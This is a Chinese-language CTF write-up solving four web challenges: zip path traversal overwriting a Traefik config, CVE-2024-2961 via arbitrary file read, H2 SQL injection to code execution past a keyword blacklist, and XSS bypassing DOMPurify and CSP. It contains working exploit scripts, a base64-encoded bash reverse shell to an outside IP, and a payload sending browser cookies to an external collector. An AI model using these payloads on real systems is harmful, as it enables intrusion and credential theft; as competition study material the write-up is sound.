traefik
主要是 zip 上传解压的逻辑。/flag
接口是不能直接访问的,因为 traefik 代理只有两个规则 /public/index
/public/upload
package main
import (
"archive/zip"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
const uploadDir = "./uploads"
func unzipSimpleFile(file *zip.File, filePath string) error {
outFile, err := os.Create(filePath)
if err != nil {
return err
}
defer outFile.Close()
fileInArchive, err := file.Open()
if err != nil {
return err
}
defer fileInArchive.Close()
_, err = io.Copy(outFile, fileInArchive)
if err != nil {
return err
}
return nil
}
func unzipFile(zipPath, destDir string) error {
zipReader, err := zip.OpenReader(zipPath)
if err != nil {
return err
}
defer zipReader.Close()
for _, file := range zipReader.File {
filePath := filepath.Join(destDir, file.Name)
if file.FileInfo().IsDir() {
if err := os.MkdirAll(filePath, file.Mode()); err != nil {
return err
}
} else {
err = unzipSimpleFile(file, filePath)
if err != nil {
return err
}
}
}
return nil
}
func randFileName() string {
return uuid.New().String()
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/flag", func(c *gin.Context) {
xForwardedFor := c.GetHeader("X-Forwarded-For")
if !strings.Contains(xForwardedFor, "127.0.0.1") {
c.JSON(400, gin.H{"error": "only localhost can get flag"})
return
}
flag := os.Getenv("FLAG")
if flag == "" {
flag = "flag{testflag}"
}
c.String(http.StatusOK, flag)
})
r.GET("/public/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}
randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)
if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}
zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}
if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}
c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
})
r.Run(":8080")
}
尝试生成一个目录遍历 ZIP 并上传:
import requests
import zipfile
url = "http://localhost:8080"
with zipfile.ZipFile("exploit.zip", "w") as z:
z.write("main", "../../main")
with open("exploit.zip", "rb") as f:
resp = requests.post(f"{url}/public/upload", files={"file": ("exploit.zip", f, "application/octet-stream")})
print(resp.text)
提示解压失败,如果改成 ../../main0
则提示解压成功,所以无法覆盖 main
程序本身
因为题目名字是 traefik,并且应用使用了 Traefik 作为反向代理,可以试试覆盖它的动态配置 dynamic.yml
,新写配置如下:
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
flag:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080/flag"
middlewares:
set-localhost-header:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: flag
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: flag
getflag:
rule: Path(`/flag`)
entrypoints: [web]
middlewares:
- set-localhost-header
service: flag
根据 dockerfile:COPY config/dynamic.yml /app/.config/
。穿越路径应该是 ../../.config/dynamic.yml
import requests
import zipfile
url = "http://39.106.16.204:17355"
with zipfile.ZipFile("exploit.zip", "w") as z:
z.write("dynamic.yml", "../../.config/dynamic.yml")
with open("exploit.zip", "rb") as f:
resp = requests.post(f"{url}/public/upload", files={"file": ("exploit.zip", f, "application/octet-stream")})
print(resp.text)
上传成功后访问 /flag
即可拿到 flag
Gavatar
页面有注册登录和文件上传的功能,查看请求可以看到 PHP/8.3.4,最终应该是要执行 /readflag
获得 flag。先注册一个账号,用户名为 a
,复制 Cookie 备用
看了一圈源码发现可能利用的点就是任意文件读取,上传界面可以输入 URL,这里可以用 PHP 伪协议和 file://
比如 file:///etc/passwd
,因为 upload.php
里写的是:$image = @file_get_contents($_POST['url']);
提交 URL 后 F12 看图片标签 src 是 avatar.php?user=a
,访问 /avatar.php?user=a
就可以看到读取的文件内容
由此想到 CVE-2024-2961,此处版本符合条件。拿这里的 exp 改一下 https://github.com/ambionics/cnext-exploits/(我是用 Python 3.12 运行的,3.13 没法安装 ten 这个依赖)
如图所示,修改了发送请求(使用 POST 参数 url
;带上注册的用户的 Cookie)和获取文件读取结果的代码
运行程序,执行命令将运行 readflag 的结果写入 web 目录
python cnext-exploit.py http://39.106.16.204:39901 "/readflag > /var/www/html/flag.html"
然后浏览器访问 /flag.html
即可看到 flag
EasyDB
赛中解法
附件里是 jar,拖到 jd-gui 反编译看
application.yml
里 driver-class-name: org.h2.Driver
,所以是 H2 数据库
源码直接格式化字符串为 SQL 语句,是有 SQL 注入。登录界面账户输入 admin'--
,密码留空,就进入了页面,提示 Welcome admin'--
利用堆叠注入进行 H2 数据库的 Java 代码执行:
';CREATE ALIAS a AS $$void f(String cmd) throws java.lang.InterruptedException {java.lang.Thread.sleep(15000);System.out.println("success");}$$;CALL a('');--
(本地测试)发现服务器延迟后终端输出了 "success",说明执行成功(下一次执行时别名应该不同,否则会报错)
为了执行系统命令需要绕 blacklist,在 challenge.SecurityUtils
中有 blacklist:
static {
blackLists.add("runtime");
blackLists.add("process");
blackLists.add("exec");
blackLists.add("shell");
blackLists.add("file");
blackLists.add("script");
blackLists.add("groovy");
}
可以自定义一个类加载器,从经过 base64 编码的 class 字节码加载类
首先写一个带命令执行方法的 Evil
类
public class Evil {
public Evil() {
System.out.println("Evil class loaded, but no command executed yet.");
}
public String e(String command) {
String output = "";
try {
String[] cmdArray = {"/bin/sh", "-c", command};
Process process = Runtime.getRuntime().exec(cmdArray);
java.util.Scanner scanner = new java.util.Scanner(process.getInputStream()).useDelimiter("\\A");
output = scanner.hasNext() ? scanner.next() : "";
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
output = "Error executing command: " + e.getMessage();
}
return output;
}
}
IDEA 里编译,得到 Evil.class
。然后编码为 base64
cat Evil.class | base64 | tr -d '\n'
然后是自定义类加载器并从字节码中加载 Evil 类的 Java 语句
package org.example;
public class Main {
static void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
ClassLoader MyClassLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = java.util.Base64.getDecoder().decode("编码后的 Base64");
java.security.PermissionCollection pc = new java.security.Permissions();
pc.add(new java.security.AllPermission());
java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
Object evilInstance = clazz.newInstance();
java.lang.reflect.Method e = clazz.getMethod("e", String.class);
String commandOutput = (String) e.invoke(evilInstance, cmd);
System.out.println("Command Output:\n" + commandOutput);
System.out.println("success");
}
public static void main(String[] args) {
System.out.println("Hello, World!");
try {
f("whoami");
} catch (InterruptedException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (java.io.IOException e) {
e.printStackTrace();
} catch (java.lang.reflect.InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
}
测试能够成功加载后就可以将这个方法放到 SQL 注入语句里
';CREATE ALIAS ccc AS $$
void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
ClassLoader MyClassLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAdAoAHAA5CQA6ADsIADwKAD0APggAPwcAQAgAQQgAQgoAQwBECgBDAEUHAEYKAEcASAoACwBJCABKCgALAEsKAAsATAoACwBNCgBHAE4HAE8KABMAUAcAUQoAFQA5CABSCgAVAFMKABMAVAoAFQBVBwBWBwBXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAFlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjbWRBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHY29tbWFuZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHAFYHAEAHACcHAFgHAEYHAE8BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAdAB4HAFkMAFoAWwEAL0V2aWwgY2xhc3MgbG9hZGVkLCBidXQgbm8gY29tbWFuZCBleGVjdXRlZCB5ZXQuBwBcDABdAF4BAAABABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jBwBfDABgAGEMAGIAYwEAEWphdmEvdXRpbC9TY2FubmVyBwBYDABkAGUMAB0AZgEAAlxBDABnAGgMAGkAagwAawBsDABtAG4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDABvAB4BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAGUVycm9yIGV4ZWN1dGluZyBjb21tYW5kOiAMAHAAcQwAcgBsDABzAGwBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAApnZXRNZXNzYWdlAQAIdG9TdHJpbmcAIQAbABwAAAAAAAIAAQAdAB4AAQAfAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIAIAAAAA4AAwAAAAIABAADAAwABAAhAAAADAABAAAADQAiACMAAAABACQAJQABAB8AAAE7AAQABgAAAGwSBU0GvQAGWQMSB1NZBBIIU1kFK1NOuAAJLbYACjoEuwALWRkEtgAMtwANEg62AA86BRkFtgAQmQALGQW2ABGnAAUSBU0ZBLYAElenAB9OLbYAFLsAFVm3ABYSF7YAGC22ABm2ABi2ABpNLLAAAQADAEsATgATAAMAIAAAAC4ACwAAAAgAAwAKABYACwAfAAwAMgANAEUADgBLABIATgAPAE8AEABTABEAagATACEAAABIAAcAFgA1ACYAJwADAB8ALAAoACkABAAyABkAKgArAAUATwAbACQALAADAAAAbAAiACMAAAAAAGwALQAuAAEAAwBpAC8ALgACADAAAAAzAAT/AEIABgcAMQcAMgcAMgcAMwcANAcANQAAQQcAMv8ACQADBwAxBwAyBwAyAAEHADYbAAEANwAAAAIAOA==");
java.security.PermissionCollection pc = new java.security.Permissions();
pc.add(new java.security.AllPermission());
java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
Object evilInstance = clazz.newInstance();
java.lang.reflect.Method e = clazz.getMethod("e", String.class);
String commandOutput = (String) e.invoke(evilInstance, cmd);
System.out.println("Command Output:\n" + commandOutput);
System.out.println("success");
}
$$;CALL ccc('whoami');--
本地测试在终端中可以看到输出了命令执行结果
Alpine 系统下读 flag 有点麻烦,nc curl wget 之类的都没有
因为不会写 SpringBoot 内存马所以写了个时间盲注的脚本(创建一个 p.txt,把这里 sentence 变量内容写进去)
import requests
import time
import random
import string
URL = "http://39.106.16.204:28438"
def generate_random_string():
characters = string.ascii_lowercase
random_string = ''.join(random.choice(characters) for i in range(10))
return random_string
def send(payload: str) -> bool:
start = time.time()
r = requests.post(f"{URL}/login", data={"username": payload, "password": ''})
end = time.time()
delay = end - start
# print(f"{delay:.2f}")
return delay > 5
def inject():
print("Start..")
def find():
name = ""
char_offset = 1
def find_char():
nonlocal name, char_offset
for char in range(45, 126):
sentence = """
';CREATE ALIAS RANDOM_FN AS $$
void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
ClassLoader MyClassLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAdAoAHAA5CQA6ADsIADwKAD0APggAPwcAQAgAQQgAQgoAQwBECgBDAEUHAEYKAEcASAoACwBJCABKCgALAEsKAAsATAoACwBNCgBHAE4HAE8KABMAUAcAUQoAFQA5CABSCgAVAFMKABMAVAoAFQBVBwBWBwBXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAFlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjbWRBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHY29tbWFuZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHAFYHAEAHACcHAFgHAEYHAE8BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAdAB4HAFkMAFoAWwEAL0V2aWwgY2xhc3MgbG9hZGVkLCBidXQgbm8gY29tbWFuZCBleGVjdXRlZCB5ZXQuBwBcDABdAF4BAAABABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jBwBfDABgAGEMAGIAYwEAEWphdmEvdXRpbC9TY2FubmVyBwBYDABkAGUMAB0AZgEAAlxBDABnAGgMAGkAagwAawBsDABtAG4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDABvAB4BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAGUVycm9yIGV4ZWN1dGluZyBjb21tYW5kOiAMAHAAcQwAcgBsDABzAGwBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAApnZXRNZXNzYWdlAQAIdG9TdHJpbmcAIQAbABwAAAAAAAIAAQAdAB4AAQAfAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIAIAAAAA4AAwAAAAIABAADAAwABAAhAAAADAABAAAADQAiACMAAAABACQAJQABAB8AAAE7AAQABgAAAGwSBU0GvQAGWQMSB1NZBBIIU1kFK1NOuAAJLbYACjoEuwALWRkEtgAMtwANEg62AA86BRkFtgAQmQALGQW2ABGnAAUSBU0ZBLYAElenAB9OLbYAFLsAFVm3ABYSF7YAGC22ABm2ABi2ABpNLLAAAQADAEsATgATAAMAIAAAAC4ACwAAAAgAAwAKABYACwAfAAwAMgANAEUADgBLABIATgAPAE8AEABTABEAagATACEAAABIAAcAFgA1ACYAJwADAB8ALAAoACkABAAyABkAKgArAAUATwAbACQALAADAAAAbAAiACMAAAAAAGwALQAuAAEAAwBpAC8ALgACADAAAAAzAAT/AEIABgcAMQcAMgcAMgcAMwcANAcANQAAQQcAMv8ACQADBwAxBwAyBwAyAAEHADYbAAEANwAAAAIAOA==");
java.security.PermissionCollection pc = new java.security.Permissions();
pc.add(new java.security.AllPermission());
java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
Object evilInstance = clazz.newInstance();
java.lang.reflect.Method e = clazz.getMethod("e", String.class);
String commandOutput = (String) e.invoke(evilInstance, cmd);
System.out.println("Command Output:\n" + commandOutput);
System.out.println("success");
}
$$;CALL RANDOM_FN('f=$(/readflag | cut -c CHAR_OFFSET);if [ "$f" = "CHAR_LITERAL" ]; then
echo "$f";sleep 6; fi;
');--
""".replace("CHAR_OFFSET", str(char_offset)).replace("CHAR_LITERAL", chr(char)).replace("RANDOM_FN", generate_random_string())
with open('p.txt', 'r') as f:
c = f.read()
sentence = c.replace("CHAR_OFFSET", str(char_offset)).replace("CHAR_LITERAL", chr(char)).replace("RANDOM_FN", generate_random_string())
if send(sentence):
name += chr(char)
print(name)
char_offset += 1
find_char()
find_char()
find()
if __name__ == '__main__':
inject()
赛后复现
因为留着 docker 环境所以赛后没线上环境还能复现
有更简单的方法,即直接反射调用 Runtime 类及其方法,而不用写一个自定义类加载器再反射调用加载的类的方法。然后使用 bash 反弹 shell
void a(String cmd) throws Exception {
String runt1me_str = "Run" + "time";
Class<?> runt1me_cls = Class.forName("java.lang." + runt1me_str);
Object runt1me_obj = runt1me_cls.getMethod("get" + runt1me_str).invoke(null);
runt1me_cls.getMethod("ex" + "ec", String.class).invoke(runt1me_obj, cmd);
}
注入语句:
';CREATE ALIAS aa AS $$
void a(String cmd) throws Exception {
String runt1me_str = "Run" + "time";
Class<?> runt1me_cls = Class.forName("java.lang." + runt1me_str);
Object runt1me_obj = runt1me_cls.getMethod("get" + runt1me_str).invoke(null);
runt1me_cls.getMethod("ex" + "ec", String.class).invoke(runt1me_obj, cmd);
}
$$;CALL aa('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzNy4xMDMuMTgzLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}');--
display
题目 hint:用 iframe 嵌入子页面可以重新唤起DOM解析器解析 script 标签
目标是要通过 XSS 从目标无头浏览器偷 Cookie
<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>
使用 iframe 标签就是:
<iframe/srcdoc="<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>">
静态资源 index.js:
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
// Sanitize content using DOMPurify
function sanitizeContent(text) {
// Only allow <h1>, <h2>, tags and plain text
const config = {
ALLOWED_TAGS: ['h1', 'h2']
};
return DOMPurify.sanitize(text, config);
}
document.addEventListener("DOMContentLoaded", function() {
const textInput = document.getElementById('text-input');
const insertButton = document.getElementById('insert-btn');
const contentDisplay = document.getElementById('content-display');
const queryText = getQueryParam('text');
if (queryText) {
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));
if (sanitizedText.length > 0) {
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
insertButton.disabled = false;
} else {
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
});
获取 text 查询参数经过 DOMPurify 后通过 innerHTML 写入预览区,然后再通过一次 innerHTML 写入显示区
写入显示区经过了两次 innerHTML 所以可以使用实体编码绕过比如 <img/src=1>
(注意有 atob 函数 base64 解码)
然后会遇到第二个问题,app.js 中设置了请求头 Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
。这个 CSP 限制了只允许同源脚本,禁用了内联脚本(script 标签),禁止加载插件资源,禁用 base
标签
本地测试如果把 csp 变量设为空,使用上面的 iframe 标签用法可以执行任意 js 语句,直接写 script 标签则不解析
这个地方很难绕过。但是在代码中可以注意到 404 页面也有个可控参数
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面
能够构造任意 js 语句,可以通过 src 引入。为了避免 /
: invalid path
影响可以插入注释
<iframe/srcdoc="<script/src='/**/fetch(`https://6x6j4aru.requestrepo.com/`, {method: `POST`,body: document.cookie});//'></script>">
经过 HTML 实体编码和 base64 编码后在 /report 接口写入即可